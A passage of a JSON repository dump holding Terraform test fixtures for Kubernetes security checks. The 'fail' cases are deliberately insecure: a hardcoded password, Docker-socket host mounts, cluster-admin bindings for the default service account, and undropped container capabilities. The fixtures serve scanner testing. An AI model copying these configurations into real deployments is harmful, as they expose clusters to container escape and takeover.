{\n    name = \"basic-auth\"\n  }\n\n  data = {\n    username = \"admin\"\n    password = \"P4ssw0rd\"\n  }\n\n  type = \"kubernetes.io/basic-auth\"\n}\n\nresource \"kubernetes_secret_v1\" \"fail\" {\n  metadata {\n    name = \"basic-auth\"\n  }\n\n  data = {\n    username = \"admin\"\n    password = \"P4ssw0rd\"\n  }\n\n  type = \"kubernetes.io/basic-auth\"\n}\n\nresource \"kubernetes_secret\" \"pass\" {\n  metadata {\n    name = \"basic-auth\"\n    namespace = \"brian\"\n  }\n\n  data = {\n    username = \"admin\"\n    password = \"P4ssw0rd\"\n  }\n\n  type = \"kubernetes.io/basic-auth\"\n}\n\nresource \"kubernetes_secret_v1\" \"pass\" {\n  metadata {\n    name = \"basic-auth\"\n    namespace = \"brian\"\n  }\n\n  data = {\n    username = \"admin\"\n    password = \"P4ssw0rd\"\n  }\n\n  type = \"kubernetes.io/basic-auth\"\n}\n\nresource \"kubernetes_service\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    selector = {\n      app = kubernetes_pod.example.metadata.0.labels.app\n    }\n    session_affinity = \"ClientIP\"\n    port {\n      port        = 8080\n      target_port = 80\n    }\n\n    type = \"LoadBalancer\"\n  }\n}\n\nresource \"kubernetes_service_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    selector = {\n      app = kubernetes_pod_v1.example.metadata.0.labels.app\n    }\n    session_affinity = \"ClientIP\"\n    port {\n      port        = 8080\n      target_port = 80\n    }\n\n    type = \"LoadBalancer\"\n  }\n}\n\nresource \"kubernetes_service\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    namespace = \"brian\"\n  }\n  spec {\n    selector = {\n      app = kubernetes_pod.example.metadata.0.labels.app\n    }\n    session_affinity = \"ClientIP\"\n    port {\n      port        = 8080\n      target_port = 80\n    }\n\n    type = \"LoadBalancer\"\n  }\n}\n\nresource \"kubernetes_service_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    namespace = \"brian\"\n  }\n  spec {\n    selector = {\n      app = kubernetes_pod_v1.example.metadata.0.labels.app\n    }\n    session_affinity = \"ClientIP\"\n    port {\n      port        = 8080\n      target_port = 80\n    }\n\n    type = \"LoadBalancer\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_DefaultServiceAccount/main.tf",
    "content": "resource \"kubernetes_service_account\" \"fail\" {\n  metadata {\n    name = \"default\"\n  }\n}\n\nresource \"kubernetes_service_account_v1\" \"fail\" {\n  metadata {\n    name = \"default\"\n  }\n}\n\nresource \"kubernetes_service_account\" \"fail2\" {\n  metadata {\n    name = \"default\"\n  }\n  automount_service_account_token=true\n}\n\nresource \"kubernetes_service_account_v1\" \"fail2\" {\n  metadata {\n    name = \"default\"\n  }\n  automount_service_account_token=true\n}\n\nresource \"kubernetes_service_account\" \"pass\" {\n  metadata {\n    name = \"default\"\n  }\n  automount_service_account_token=false\n}\n\nresource \"kubernetes_service_account_v1\" \"pass\" {\n  metadata {\n    name = \"default\"\n  }\n  automount_service_account_token=false\n}\n\n\nresource \"kubernetes_service_account\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\nresource \"kubernetes_service_account_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_DefaultServiceAccountBinding/main.tf",
    "content": "resource \"kubernetes_role_binding\" \"fail\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n  }\n  role_ref {\n    api_group = \"rbac.authorization.k8s.io\"\n    kind      = \"Role\"\n    name      = \"admin\"\n  }\n  subject {\n    kind      = \"User\"\n    name      = \"admin\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n  subject {\n    kind      = \"ServiceAccount\"\n    name      = \"default\"\n    namespace = \"kube-system\"\n  }\n  subject {\n    kind      = \"Group\"\n    name      = \"system:masters\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n}\n\nresource \"kubernetes_role_binding_v1\" \"fail\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n  }\n  role_ref {\n    api_group = \"rbac.authorization.k8s.io\"\n    kind      = \"Role\"\n    name      = \"admin\"\n  }\n  subject {\n    kind      = \"User\"\n    name      = \"admin\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n  subject {\n    kind      = \"ServiceAccount\"\n    name      = \"default\"\n    namespace = \"kube-system\"\n  }\n  subject {\n    kind      = \"Group\"\n    name      = \"system:masters\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n}\n\nresource \"kubernetes_role_binding\" \"pass\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n  }\n  role_ref {\n    api_group = \"rbac.authorization.k8s.io\"\n    kind      = \"Role\"\n    name      = \"admin\"\n  }\n  subject {\n    kind      = \"User\"\n    name      = \"admin\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n  subject {\n    kind      = \"Group\"\n    name      = \"system:masters\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n}\n\nresource \"kubernetes_role_binding_v1\" \"pass\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n  }\n  role_ref {\n    api_group = \"rbac.authorization.k8s.io\"\n    kind      = \"Role\"\n    name      = \"admin\"\n  }\n  subject {\n    kind      = \"User\"\n    name      = \"admin\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n  subject {\n    kind      = \"Group\"\n    name      = \"system:masters\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n}\n\nresource \"kubernetes_cluster_role_binding\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  role_ref {\n    api_group = \"rbac.authorization.k8s.io\"\n    kind      = \"ClusterRole\"\n    name      = \"cluster-admin\"\n  }\n  subject {\n    kind      = \"User\"\n    name      = \"admin\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n  subject {\n    kind      = \"ServiceAccount\"\n    name      = \"default\"\n    namespace = \"kube-system\"\n  }\n  subject {\n    kind      = \"Group\"\n    name      = \"system:masters\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n}\n\nresource \"kubernetes_cluster_role_binding_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  role_ref {\n    api_group = \"rbac.authorization.k8s.io\"\n    kind      = \"ClusterRole\"\n    name      = \"cluster-admin\"\n  }\n  subject {\n    kind      = \"User\"\n    name      = \"admin\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n  subject {\n    kind      = \"ServiceAccount\"\n    name      = \"default\"\n    namespace = \"kube-system\"\n  }\n  subject {\n    kind      = \"Group\"\n    name      = \"system:masters\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n}\n\nresource \"kubernetes_cluster_role_binding\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  role_ref {\n    api_group = \"rbac.authorization.k8s.io\"\n    kind      = \"ClusterRole\"\n    name      = \"cluster-admin\"\n  }\n  subject {\n    kind      = \"User\"\n    name      = \"admin\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n  subject {\n    kind      = \"Group\"\n    name      = \"system:masters\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n}\n\nresource \"kubernetes_cluster_role_binding_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  role_ref {\n    api_group = \"rbac.authorization.k8s.io\"\n    kind      = \"ClusterRole\"\n    name      = \"cluster-admin\"\n  }\n  subject {\n    kind      = \"User\"\n    name      = \"admin\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n  subject {\n    kind      = \"Group\"\n    name      = \"system:masters\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_DockerSocketVolume/main.tf",
    "content": "resource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    volume {\n      host_path {\n        path = \"/var/run/docker.sock\"\n        type = \"Directory\"\n      }\n    }\n\n    volume {\n      host_path {\n        path = \"/var/run/docker.sock\"\n        type = \"Directory\"\n      }\n    }\n\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    volume = \"invalid\"\n\n    volume {\n      host_path {\n        path = \"/var/run/docker.sock\"\n        type = \"Directory\"\n      }\n    }\n\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    volume {\n      host_path {\n        path = \"/var/log\"\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    volume {\n      host_path {\n        path = \"/var/log\"\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"prometheus\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"prometheus\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"prometheus\"\n        }\n      }\n\n      spec {\n\n        volume {\n          host_path {\n            path = \"/var/log\"\n          }\n        }\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"prometheus\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"prometheus\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"prometheus\"\n        }\n      }\n\n      spec {\n\n        volume {\n          host_path {\n            path = \"/var/log\"\n          }\n        }\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"prometheus\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"prometheus\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"prometheus\"\n        }\n      }\n\n      spec {\n        volume {\n          host_path {\n            path = \"/var/run/docker.sock\"\n            type = \"Directory\"\n          }\n        }\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"prometheus\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"prometheus\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"prometheus\"\n        }\n      }\n\n      spec {\n        volume {\n          host_path {\n            path = \"/var/run/docker.sock\"\n            type = \"Directory\"\n          }\n        }\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_daemonset\" \"fail\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"something\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n\n        volume {\n          host_path {\n            path = \"/var/run/docker.sock\"\n            type = \"Directory\"\n          }\n        }\n\n        container {\n          image = \"nginx:1.21.6\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_daemon_set_v1\" \"fail\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"something\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n\n        volume {\n          host_path {\n            path = \"/var/run/docker.sock\"\n            type = \"Directory\"\n          }\n        }\n\n        container {\n          image = \"nginx:1.21.6\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_daemonset\" \"pass\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"something\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        volume {\n          host_path {\n            path = \"/var/log\"\n            type = \"Directory\"\n          }\n        }\n\n        container {\n          image = \"nginx:1.21.6\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_daemon_set_v1\" \"pass\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"something\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        volume {\n          host_path {\n            path = \"/var/log\"\n            type = \"Directory\"\n          }\n        }\n\n        container {\n          image = \"nginx:1.21.6\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_DropCapabilities/main.tf",
    "content": "# fails no spec\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n#no capabilities\nresource \"kubernetes_pod\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      security_context {\n\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#no capabilities\nresource \"kubernetes_pod_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      security_context {\n\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#no capabilities\nresource \"kubernetes_deployment\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          security_context {\n\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#no capabilities\nresource \"kubernetes_deployment_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          security_context {\n\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n#no context\nresource \"kubernetes_pod\" \"fail5\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#no context\nresource \"kubernetes_pod_v1\" \"fail5\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#no context\nresource \"kubernetes_deployment\" \"fail5\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#no context\nresource \"kubernetes_deployment_v1\" \"fail5\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n#does not drop any or net_raw\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      security_context {\n        capabilities {\n          add = [\"NET_BIND_SERVICE\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example2\"\n\n      security_context {\n        capabilities {\n          drop = [\"ALL\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = 